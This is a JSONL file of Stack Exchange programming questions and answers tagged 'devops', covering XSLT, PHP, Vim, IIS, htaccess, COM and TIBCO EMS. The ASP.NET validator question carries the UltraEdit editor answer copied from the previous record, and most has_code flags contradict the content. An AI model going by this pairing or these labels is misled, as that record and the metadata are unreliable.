{"id": "hf_e600a8704cf8", "question": "<p>I am creating a WordML document from an xml file whose elements sometimes contain html-formatted text.  </p>\n\n<pre><code>&lt;w:p&gt;\n  &lt;w:r&gt;\n    &lt;w:t&gt; html formatted content is in here taken from xml file! &lt;/w:t&gt;\n  &lt;/w:r&gt;\n&lt;/w:p&gt;\n</code></pre>\n\n<p>This is how my templates are sort of set up.  I have a recursive call-template function that does text replacement against the source xml content.  When it comes across a \"<code>&lt;b&gt;</code>\" tag, I output a string in CDATA containing \"<code>&lt;/w:t&gt;&lt;/w:r&gt;&lt;w:r&gt;&lt;w:rPr&gt;&lt;w:b/&gt;&lt;/w:rPr&gt;&lt;w:t&gt;</code>\" to close the current run and start up a new run with bold formatting enabled.  when it gets to a \"<code>&lt;/b&gt;</code>\" tag, it replaces it with the following CDATA string \"<code>&lt;/w:t&gt;&lt;/w:r&gt;&lt;w:r&gt;&lt;w:t&gt;</code>\".</p>\n\n<p>What I'd like to do is use XSL to close the run tag and start a new run without using CDATA string inserts.  Is this possible?</p>\n", "question_body": "", "answer": "I can most probably help you if only I understood your problem... Is the html in a CDATA section or is it parsed as part of the input doc (and thus well-formed XML)?\nSince you talk about 'text replacement' I'll assume that you treat the 'html formatted content' as a single string (CDATA) and therefor need a recursive call-template function to perform string replacement. The only way you're going to be able to use an XSL matching template to do what you're doing now is to make the html part of the parsed document (your input document). In such a case you could just match the\n```\nb\n```\ntag and replace it with the appropriate output (again: this assumes that it can always be parsed as valid XML). Your problem now has shifted... since (if I understood your problem correctly) what you're trying to do is close the\n```\nw:t\n```\nand\n```\nw:r\n```\nelements and then 'reopen' them... this is hard because it's (as you probably suspect) very hard to do this nicely in XSLT (you cannot just create an element in template A and then close it in template B). You'll have to start messing with unescaped output etc. to make this happen. I now I've made a lot of assumptions but here is a small example to help you on your way:\ninput.xml\n```\n```\n<doc xmlns:w=\"urn:schemas-microsoft-com:office:word\">\n<w:p>\n  <w:r>\n    <w:t>before<b>bold</b>after</w:t>\n  </w:r>\n</w:p>\n</doc>\n```\n```\nconvert_html.xsl\n```\n```\n<xsl:template match=\"@*|node()\">\n  <xsl:copy>\n    <xsl:apply-templates select=\"@*|node()\"/>\n  </xsl:copy>\n</xsl:template>\n\n<xsl:template match=\"/doc/w:p/w:r/w:t//b\">\n  <xsl:value-of select=\"'&lt;/w:t>&lt;/w:r>&lt;w:r>&lt;w:rPr>&lt;w:b/>&lt;/w:rPr>&lt;w:t>'\" disable-output-escaping=\"yes\" />\n  <xsl:apply-templates select=\"@*|node()\"/>\n  <xsl:value-of select=\"'&lt;/w:t>&lt;/w:r>&lt;w:r>&lt;w:t>'\" disable-output-escaping=\"yes\" />\n</xsl:template>\n```\n```\nNow running\n```\n```\nxalan input.xml convert_html.xsl\n```\n```\nproduces\n```\n```\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><doc xmlns:w=\"urn:schemas-microsoft-com:office:word\">\n<w:p>\n  <w:r>\n    <w:t>before</w:t></w:r><w:r><w:rPr><w:b/></w:rPr><w:t>bold</w:t></w:r><w:r><w:t>after</w:t>\n  </w:r>\n</w:p>\n</doc>\n```\n```\nwhich I guess is what you wanted.\nHope this helps you somewhat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.131742"}
{"id": "hf_3ce946c7a2d4", "question": "<p>How do you create an application shortcut (.lnk file) in C# or using the .NET framework?</p>\n\n<p>The result would be a .lnk file to the specified application or URL.</p>\n", "question_body": "", "answer": "It's not as simple as I'd have liked, but there is a great class call\nShellLink.cs\nat\nvbAccelerator\nThis code uses interop, but does not rely on WSH.\nUsing this class, the code to create the shortcut is:\n```\n```\nprivate static void configStep_addShortcutToStartupGroup()\n{\n    using (ShellLink shortcut = new ShellLink())\n    {\n        shortcut.Target = Application.ExecutablePath;\n        shortcut.WorkingDirectory = Path.GetDirectoryName(Application.ExecutablePath);\n        shortcut.Description = \"My Shorcut Name Here\";\n        shortcut.DisplayMode = ShellLink.LinkDisplayMode.edmNormal;\n        shortcut.Save(STARTUP_SHORTCUT_FILEPATH);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.164935"}
{"id": "hf_20cb3511d4ef", "question": "<p>Are pipes considered dangerous to use in Windows, from a security standpoint?</p>\n", "question_body": "", "answer": "If you are concerned about network sniffing, I suppose they could be since I don't think that pipes between systems are encrypted.  I don't know exactly how they are implemented in Windows, but I would expect that pipes between processes/threads on the same machine would be implemented with shared memory and not let traffic leak outside the box.  If you need secure communication between systems, I'd go with secure sockets.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.197080"}
{"id": "hf_277887269eb7", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/7094118/reference-comparing-phps-print-and-echo\">Reference: Comparing PHP&#39;s print and echo</a>  </p>\n</blockquote>\n\n\n\n<p>Is there any major and fundamental difference between these two functions in PHP?</p>\n", "question_body": "", "answer": "From:\nhttp://web.archive.org/web/20090221144611/http://faqts.com/knowledge_base/view.phtml/aid/1/fid/40\nSpeed.  There is a difference between the two, but speed-wise it\nshould be irrelevant which one you use.  echo is marginally faster \nsince it doesn't set a return value if you really want to get down to the\nnitty gritty.\nExpression.\n```\nprint()\n```\nbehaves like a function in that you can do:\n```\n$ret = print \"Hello World\"\n```\n; And\n```\n$ret\n```\nwill be\n```\n1\n```\n.  That means that print\ncan be used as part of a more complex expression where echo cannot.  An\nexample from the PHP Manual:\n```\n```\n$b ? print \"true\" : print \"false\";\n```\n```\nprint is also part of the precedence table which it needs to be if it \nis to be used within a complex expression. It is just about at the bottom\nof the precedence list though.  Only\n```\n,\n```\n```\nAND\n```\n```\nOR\n```\n```\nXOR\n```\nare lower.\nParameter(s).  The grammar is:\n```\necho expression [, expression[,\nexpression] ... ]\n```\nBut\n```\necho ( expression, expression )\n```\nis not valid. \nThis would be valid:\n```\necho (\"howdy\"),(\"partner\")\n```\n; the same as:\n```\necho\n\"howdy\",\"partner\"\n```\n; (Putting the brackets in that simple example \nserves\nno purpose since there is no operator precedence issue with a single\nterm like that.)\nSo, echo without parentheses can take multiple parameters, which get\nconcatenated:\n```\n```\necho  \"and a \", 1, 2, 3;   // comma-separated without parentheses\n   echo (\"and a 123\");        // just one parameter with parentheses\n```\n```\n```\nprint()\n```\ncan only take one parameter:\n```\n```\nprint (\"and a 123\");\n   print  \"and a 123\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.239953"}
{"id": "hf_14b914102df6", "question": "<p>I'm trying to come up with a Java regex that will match a filename only if it has a valid extension. For example it should match \"foo.bar\" and \"foo.b\", but neither \"foo.\" nor \"foo\".</p>\n\n<p>I've written the following test program</p>\n\n<pre><code>public static void main(String[] args) {\n  Pattern fileExtensionPattern = Pattern.compile(\"\\\\.\\\\w+\\\\z\");\n\n  boolean one = fileExtensionPattern.matcher(\"foo.bar\").matches();\n  boolean two = fileExtensionPattern.matcher(\"foo.b\").matches();\n  boolean three = fileExtensionPattern.matcher(\"foo.\").matches();\n  boolean four = fileExtensionPattern.matcher(\"foo\").matches();\n\n  System.out.println(one + \" \" + two + \" \" + three + \" \" + four);\n}\n</code></pre>\n\n<p>I expect this to print \"true true false false\", but instead it prints false for all 4 cases. Where am I going wrong?</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "The\nMatcher.matches()\nfunction tries to match the pattern against the entire input.  Thus, you have to add\n```\n.*\n```\nto the beginning of your regex (and the\n```\n\\\\Z\n```\nat the end is superfluous, too), or use the\nfind()\nmethod.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.264882"}
{"id": "hf_9c57d850012f", "question": "<p>I'm using Chris Pederick's Firefox addon <a href=\"http://chrispederick.com/work/web-developer/\" rel=\"nofollow noreferrer\">\"Web Developer 1.1.6\"</a>. I get this warning when hitting a certain web page on my site: </p>\n\n<blockquote>\n  <p>Unknown property 'MozOpacity'. Declaration dropped.</p>\n</blockquote>\n\n<p>What does this mean and how can I fix this on my site?</p>\n", "question_body": "", "answer": "Are you using\n```\nmozopacity\n```\nin your CSS stylesheet? This might be spelled wrong and is thus triggering an error.\nYou might be looking for\n```\n-moz-opacity\n```\nwhich has been dropped as of Firefox 3.0.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.323994"}
{"id": "hf_8ba7e59d4b66", "question": "<p>When overriding the MembershipProvider and calling it directly, is there a way to fill the NameValueCollection config parameter of the Initialize method without manually looking through the config file for the settings?  </p>\n\n<p>Obviously this Initialize is being called by asp.net and the config is being filled somewhere. I have implemented my own MembershipProvider and it works fine through the build in controls.\nI would like to create a new instance of my provider and make a call to it directly, but I don't really want to parse the .config for the MembershipProvider, it's connection string name and then the connection string if it's already being done somewhere.</p>\n", "question_body": "", "answer": "Not sure why you want to create a new one, but if you create it yourself, you'll need to read the web config and get the values yourself to pass to Initialize() as this is done outside the class.  I'm sure, though, that there is already a section handler for this section so it should be just a matter of doing:\n```\n```\nMembershipSection section  = WebConfigurationManager.GetSection(\"membership\");\n```\n```\nThen find your provider and accessing its properties to construct the NameValueCollection.  I don't think you will have to write any code to parse the configuration section.\nHere is the\nMembershipSection\ndocumentation at MSDN.  Drill down from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.346654"}
{"id": "hf_2f6e03d854ea", "question": "<p>I don´t know why, but my form isn´t calling Form_Load event when it loads.</p>\n\n<p>Any ideas why this might be happening?</p>\n", "question_body": "", "answer": "Do you have the event handler set up?\nUltimately, there is going to be a line of code that looks something like this:\n```\n```\nthis.Load += new System.EventHandler(this.Form1_Load);\n```\n```\nThat might be something you code yourself, or is generated by double-clicking the Load event for the form from within Visual Studio.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.406165"}
{"id": "hf_1c03492efc44", "question": "<p>I'm new to Windows programming and after reading the Petzold book I wonder: </p>\n\n<p>is it still good practice to use the <code>TCHAR</code> type and the <code>_T()</code> function to declare strings or if I should just use the <code>wchar_t</code> and <code>L\"\"</code> strings in new code?</p>\n\n<p>I will target only Windows 2000 and up and my code will be <a href=\"http://en.wikipedia.org/wiki/Internationalization_and_localization\" rel=\"noreferrer\">i18n</a> from the start up.</p>\n", "question_body": "", "answer": "Yes, absolutely; at least for the _T macro.  I'm not so sure about the wide-character stuff, though.\nThe reason being is to better support WinCE or other non-standard Windows platforms.  If you're 100% certain that your code will remain on NT, then you can probably just use regular C-string declarations.  However, it's best to tend towards the more flexible approach, as it's much easier to #define that macro away on a non-windows platform in comparison to going through thousands of lines of code and adding it everywhere in case you need to port some library to windows mobile.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.504383"}
{"id": "hf_ae89a62878ea", "question": "<p>Disclaimer: I've solved the problem using Expressions from System.Linq.Expressions, but I'm still looking for a better/easier way.</p>\n\n<p>Consider the following situation :</p>\n\n<pre><code>var query = \n    from c in db.Customers\n    where (c.ContactFirstName.Contains(\"BlackListed\") || \n           c.ContactLastName.Contains(\"BlackListed\")  ||\n           c.Address.Contains(\"BlackListed\"))\n    select c;\n</code></pre>\n\n<p>The columns/attributes that need to be checked against the blacklisted term are only available to me at runtime. How do I generate this dynamic where clause?</p>\n\n<p>An additional complication is that the Queryable collection (db.Customers above) is typed to a Queryable of the base class of 'Customer' (say 'Person'), and therefore writing c.Address as above is not an option.</p>\n", "question_body": "", "answer": "```\n```\nvar query = from C in db.Customers select c;\n\nif (seachFirstName)\n         query = query.Where(c=>c.ContactFirstname.Contains(\"Blacklisted\"));\n\nif (seachLastName)\n         query = query.Where(c=>c.ContactLastname.Contains(\"Blacklisted\"));\n\nif (seachAddress)\n         query = query.Where(c=>c.Address.Contains(\"Blacklisted\"));\n```\n```\nNote that they aren't mutually exclusive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.599920"}
{"id": "hf_6d99d49669ba", "question": "<p>I'm exploring the iPhone SDK and want to create and use a UI component like the figure below. A rounded table with cells in which each cell can have some label text, maybe an input text field and an action button that would take it to the next screen. The table should not be screen filling.</p>\n\n<p>But... I can't figure out how to do it or find example code. The 'Table View' always seems to result in a screen filling table and although the 'Table View Cell' looks like what I need I can't find any good examples. I'm sure it's all not that hard, but I just can't find it. Any tips, pointers are appreciated.</p>\n\n<p>(This figure is just an example of the sort of UI component I'm looking for, I'm not build something related to flight tracking...)</p>\n\n<p><a href=\"http://gerodt.homeip.net/table_ui_component.png\" rel=\"nofollow noreferrer\">Table like component http://gerodt.homeip.net/table_ui_component.png</a></p>\n\n<p>Gero</p>\n", "question_body": "", "answer": "Try looking at the \"5_CustomTableViewCell\" project of the\nTableViewSuite\ncode sample from Apple. It should how to create custom subclasses of UITableViewCell.\nThe short answer is, as alluded to above, you'll want to subclass UITableViewCell and add your custom UI elements to it. For the example you provided, you'd want two different types of cells; one with a label (in light blue) and content (in black) for 4 of your cells, and then a more complex one with additional text on the right.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.633466"}
{"id": "hf_34fa42166e28", "question": "<p>I have a string which is like this:</p>\n\n<p>this is [bracket test] \"and quotes test \"</p>\n\n<p>I'm trying to write something in Python to split it up by space while ignoring spaces within square braces and quotes. The result I'm looking for is:</p>\n\n<p>['this','is','bracket test','and quotes test '] </p>\n", "question_body": "", "answer": "Here's a simplistic solution that works with your test input:\n```\n```\nimport re\nre.findall('\\[[^\\]]*\\]|\\\"[^\\\"]*\\\"|\\S+',s)\n```\n```\nThis will return any code that matches either\na open bracket followed by zero or more non-close-bracket characters followed by a close bracket,\na double-quote followed by zero or more non-quote characters followed by a quote,\nany group of non-whitespace characters\nThis works with your example, but might fail for many real-world strings you may encounter. For example, you didn't say what you expect with unbalanced brackets or quotes,or how you want single quotes or escape characters to work. For simple cases, though, the above might be good enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.741046"}
{"id": "hf_0ee38a23f899", "question": "<p>Can I setup a custom MIME type through ASP.NET or some .NET code?  I need to register the Silverlight XAML and XAP MIME types in IIS 6.</p>\n", "question_body": "", "answer": "To add to the master mime type list:\n```\n```\nusing (DirectoryEntry mimeMap = new DirectoryEntry(\"IIS://Localhost/MimeMap\"))\n{\n    PropertyValueCollection propValues = mimeMap.Properties[\"MimeMap\"];\n\n    IISOle.MimeMapClass newMimeType = new IISOle.MimeMapClass();\n    newMimeType.Extension = extension; // string - .xap\n    newMimeType.MimeType = mimeType;   // string - application/x-silverlight-app\n\n    propValues.Add(newMimeType);\n    mimeMap.CommitChanges();\n}\n```\n```\nAdd a reference to :\n'System.DirectoryServices' on the .NET add references tab\n'Active DS IIS Namespace Provider' on the COM add references tab.\nTo configure a mime type for a specific site, change ..\n```\n'IIS://Localhost/MimeMap'\n```\nto\n```\n'IIS://Localhost/W3SVC/[iisnumber]/root'\n```\n...replacing\n```\n'[iisnumber]'\n```\nwith the IISNumber of the website.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.776894"}
{"id": "hf_313ba46dfcf1", "question": "<p>How do I make <a href=\"http://en.wikipedia.org/wiki/Vi\" rel=\"noreferrer\">vi</a>-<a href=\"http://en.wikipedia.org/wiki/Vim_%28text_editor%29\" rel=\"noreferrer\">Vim</a> never use tabs (converting spaces to tabs, bad!), makes the tab key == 4 spaces, and automatically indent code after curly brace blocks like <a href=\"http://en.wikipedia.org/wiki/Emacs\" rel=\"noreferrer\">Emacs</a> does?</p>\n\n<p>Also, how do I save these settings so I never have to input them again?</p>\n\n<p>I've seen other questions related to this, but it always seems to be a little off from what I want.</p>\n", "question_body": "", "answer": "As has been pointed out in a couple of other answers, the preferred method now is NOT to use smartindent, but instead use the following (in your\n```\n.vimrc\n```\n):\n```\n```\nfiletype plugin indent on\n\" show existing tab with 4 spaces width\nset tabstop=4\n\" when indenting with '>', use 4 spaces width\nset shiftwidth=4\n\" On pressing tab, insert 4 spaces\nset expandtab\n```\n```\nIn your [.vimrc:][1] file:\n```\n```\nset smartindent\nset tabstop=4\nset shiftwidth=4\nset expandtab\n```\n```\nThe help files take a bit of time to get used to, but the more you read, the better Vim gets:\n```\n```\n:help smartindent\n```\n```\nEven better, you can embed these settings in your source for portability:\n```\n```\n:help auto-setting\n```\n```\nTo see your current settings:\n```\n```\n:set all\n```\n```\nAs\ngraywh\npoints out in the comments, smartindent has been replaced by cindent which \"Works more cleverly\", although still mainly for languages with C-like syntax:\n```\n```\n:help C-indenting\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.835662"}
{"id": "hf_6cfac7009dfd", "question": "<p>In Eclipse, under <kbd>Windows</kbd> -> <kbd>Preference</kbd> -> <kbd>Java</kbd> -> <kbd>Code Style</kbd>, you can define code templates for comments and code, and you can setup a code formatter. </p>\n\n<p>I'm wondering if it is possible in Eclipse to have these setting take affect every time I save a source file.  Basically, instead of me highlighting everything and pressing <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>F</kbd>, I want Eclipse to be responsible for making sure my code is formatted properly.</p>\n\n<p>Is this possible and how do you set it up?</p>\n\n<p><strong>Note On Using the Auto-Format:</strong>  It's probably best to choose \"Format Edited Lines\" as merging changes becomes very difficult when you reformat a whole file that is in source control already that was not formatted properly. Already did this to a co-worker.</p>\n", "question_body": "", "answer": "Under\nPreferences\n, choose\nJava\n-->\nEditor\n-->\nSave Actions\n.  Check the\nPerform the selected actions on save\n, and check the\nFormat source code\nbox.\nThis may or may not be available in previous versions of Eclipse.  I know it works in:\n```\n```\nVersion: 3.3.3.r33x_r20080129-_19UEl7Ezk_gXF1kouft<br>\nBuild id: M20080221-1800\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:05.917846"}
{"id": "hf_732b4bae0706", "question": "<p>I have been tasked to optimize some sql queries at work. Everything I have found points to using Explain Plan to identify problem areas. The problem I can not find out exactly what explain plan is telling me. You get Cost, Cardinality, and bytes. </p>\n\n<p>What do this indicate, and how should I be using this as a guide. Are low numbers better? High better? Any input would be greatly appreciated. </p>\n\n<p>Or if you have a better way to go about optimizing a query, I would be interested.</p>\n", "question_body": "", "answer": "You get more than that actually depending on what you are doing. Check out this\nexplain plan\npage. I'm assuming a little bit here that you are using Oracle and know how to run the script to display the plan output. What may be more important to start with is looking at the left hand side for the use of a particular index or not and how that index is being utilized. You should see things like \"(Full)\", \"(By Index Rowid)\", etc if you are doing joins. The cost would be the next thing to look at with lower costs being better and you will notice that if you are doing a join that is not using an index you may get a very large cost. You may also want to read details about the\nexplain plan columns\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.002558"}
{"id": "hf_a67a24690a71", "question": "<p>I work on a lot of Asian Language localization projects, and am looking for a powerful text editor with the following features:</p>\n\n<p>1) Unicode support\n2) Find in Files\n3) Replace in Files\n4) Regular expressions\n5) Multiline find/replace\n6) Built-in diff</p>\n\n<p>I am currently using NotePad++, but it doesn't really support unicode in its find-in-files tool, which is a deal-breaker. EmEditor looks promising, but it doesn't have multi-line find/replace. </p>\n\n<p>Anyone working with Chinese, Japanese, or Korean files have a text editor that they like, free or commercial?</p>\n", "question_body": "", "answer": "Ultraedit\nis my favorite text editor and it is advertised as having good Unicode support\nhttp://www.ultraedit.com/support/tutorials_power_tips/ultraedit/unicode.html\n.\nIt has the find / replace / regex features you're looking for as well as almost every other feature I have ever needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.037351"}
{"id": "hf_d099a68f836f", "question": "<p>I have a custom control that inherits from WebControl and implements IValidator, but I also want to have a property for ValidationGroup.  From research, it appears I need to inherit from BaseValidator to do so.  Can anybody provide a successfull example from a ASP.Net custom control that implements both BaseValidator and IValidator?</p>\n", "question_body": "", "answer": "Ultraedit\nis my favorite text editor and it is advertised as having good Unicode support\nhttp://www.ultraedit.com/support/tutorials_power_tips/ultraedit/unicode.html\n.\nIt has the find / replace / regex features you're looking for as well as almost every other feature I have ever needed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.060756"}
{"id": "hf_8f41540278d4", "question": "<p>I would like to redirect <code>www.example.com</code> to <code>example.com</code>. The following htaccess code makes this happen:</p>\n\n<pre><code>RewriteCond %{HTTP_HOST} ^www\\.example\\.com [NC]\nRewriteRule ^(.*)$ http://example.com/$1 [L,R=301]\n</code></pre>\n\n<p>But, is there a way to do this in a generic fashion without hardcoding the domain name?</p>\n", "question_body": "", "answer": "Try this:\n```\n```\nRewriteCond %{HTTP_HOST} ^www\\. [NC]\nRewriteRule ^(.*)$ %{HTTP_HOST}$1 [C]\nRewriteRule ^www\\.(.*)$ http://$1 [L,R=301]\n```\n```\nIf the host starts with www, we stick the whole host onto the start of the URL, then take off the \"www.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.143888"}
{"id": "hf_e7c8f4aad3f9", "question": "<p>Is it possible to serialize and deserialize a class in C++?</p>\n\n<p>I've been using Java for 3 years now, and serialization / deserialization is fairly trivial in that language. Does C++ have similar features? Are there native libraries that handle serialization?</p>\n\n<p>An example would be helpful.</p>\n", "question_body": "", "answer": "The\n```\nBoost::serialization\n```\nlibrary handles this rather elegantly. I've used it in several projects. There's an example program, showing how to use it,\nhere\n.\nThe only native way to do it is to use streams. That's essentially all the\n```\nBoost::serialization\n```\nlibrary does, it extends the stream method by setting up a framework to write objects to a text-like format and read them from the same format.\nFor built-in types, or your own types with\n```\noperator<<\n```\nand\n```\noperator>>\n```\nproperly defined, that's fairly simple; see\nthe C++ FAQ\nfor more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.167294"}
{"id": "hf_9924cb792f21", "question": "<p>Is it possible to use an ocx (ActiveX Control) on a winform (probably adding it programatically) without first having the ocx registered with regsrv32?</p>\n\n<p>What I'm trying to achieve is to enable xcopy installation. I've had the \"AxInterop.<em>.dll\" and \"Interop.</em>.dll\" file generated from my dev machine.</p>\n\n<p>I've seen the possibility of calling a COM dll without first registering it (<a href=\"http://www.codeproject.com/KB/library/ProSysLib2.aspx?fid=1524721&amp;df=90&amp;mpp=25&amp;noise=3&amp;sort=Position&amp;view=Quick&amp;select=2659721&amp;fr=28#xx2659721xx\" rel=\"noreferrer\">ProSysLib</a>, according to the author, but I haven't tested it yet), since ocx is also COM based, thus I assume that there must be some way to do that as well.</p>\n", "question_body": "", "answer": "Yes, this can be done.  You must assume your application will only be deployed on Windows XP (or Windows Server 2003) or later, and then you can use what is called 'registration free COM' to make this happen.\nEssentially what you do is create a manifest file for the ActiveX control DLL so the Windows loader & COM DLL's know what its registration is without having to put that in the registry.\nA walkthrough of what to do is in this article on MSDN:\nRegistration-Free Activation of COM Components: A Walkthrough\n\"Step 6\" and \"Step 7\" in that article contain\neverything\nyou will need.\nI just tried this out on one of my own C# programs that uses a Microsoft ActiveX grid control (the old \"MS Flex Grid\") and it works just fine. Make sure you create a manifest file for both your application and the COM DLL, and substitute the appropriate GUIDs in the right places. You may need to use OLEVIEW to dig out the right IDs to use from the ActiveX DLL if you don't have them handy.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.194509"}
{"id": "hf_d6cb616b09d4", "question": "<p>The TIBCO EMS user's guide (pg 292) says:</p>\n\n<blockquote>\n  <p>The backup server <strong>will work indefinitely</strong> to either A) become the\n  primary server or B) reconnect to the primary server. It also says\n  <strong>clients may receive fail-over notification</strong> when the switch is successful (see also TIBCO EMS .NET reference pg 220).</p>\n</blockquote>\n\n<p>I have some questions spinning off of these facts...</p>\n\n<ol>\n<li><p>What kind of errors occur on the client side while the servers are attempting fail-over/reconnect?</p></li>\n<li><p>What is the appropriate response from the client?</p>\n\n<ul>\n<li>Get new Connection objects from the ConnectionFactory until one works?</li>\n<li>Wait for fail-over notification? (are current Connection instances fixed at this time? or do I need to get a new instance?)</li>\n</ul></li>\n</ol>\n\n<p>I hope the scenario is clear, any related information or advice would be appreciated too.</p>\n", "question_body": "", "answer": "I can at least answer #1 above.\nIf you have enabled Tibems.SetExceptionOnFTSwitch(true); and have set up an exception handler to capture the messages the server sends to the client, you will see the following:\nFor single-server, non-fault tolerant connection failures:\n\"Connection has been terminated\".\nFor fault-tolerant connection failures:\n\"Connection has performed fault-tolerant switch to \"\nIf you attempt to publish while the connection is down, a TIBCO.EMS.IllegalStateException is thrown with the \"Producer is closed\" message.\nfor #2 above, I think the answer is to allow the EMS library to handle as much as possible.  Once we got the EMS reconnect functionality to work, it gracefully tried to reconnect until the server became available again and once it reconnected, it was like there was never a problem.  The only gotcha is probably if you try to publish a message before the ems connection is back.  This is where the exception handler comes in, Once notified that you are in failover mode, you can adjust exception handling on the publisher side to suppress the error until the connection is back.  The thing I don't know is how do you tell when you've exhausted all reconnect attempts.\nAnyway, Seems like our two worlds are closely related when it comes to EMS - hope our findings (based on your comments on my questions) help you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:06.264346"}
{"id": "hf_7b1eee644f07", "question": "<p>I would really love to push for TDD development inside the shop I'm working in. Lots of the seniors over there didn't work with unit testing or did unit testing that was hitting the database.</p>\n\n<p>I would love to bring some good arguments, books for training, possible coach to ease the transition.</p>\n", "question_body": "", "answer": "I have found that it is often very hard to push TDD from the developer up. What I tend to do is talk about the benefits of TDD as much as possible and wherever possible, introduce elements of TDD myself bit by bit.\nIf they don't mind, start a new project with unit tests in it (managers seldom mind more test coverage) and start developing that way yourself. Slowly show the rest of your team the benefits and try to win some converts. Once you have a few other developers on your side, start pushing management for some training.\nYou could also offer to run some lunch-n-learns about it for the other developers. Teaching is the best way of learning and your will hopefully gain allies. If you are lucky, you can talk your boss into buying the pizza for the lunch-n-learn and everyone benefits.", "tags": [], "source": "huggingface", "category": "devops", 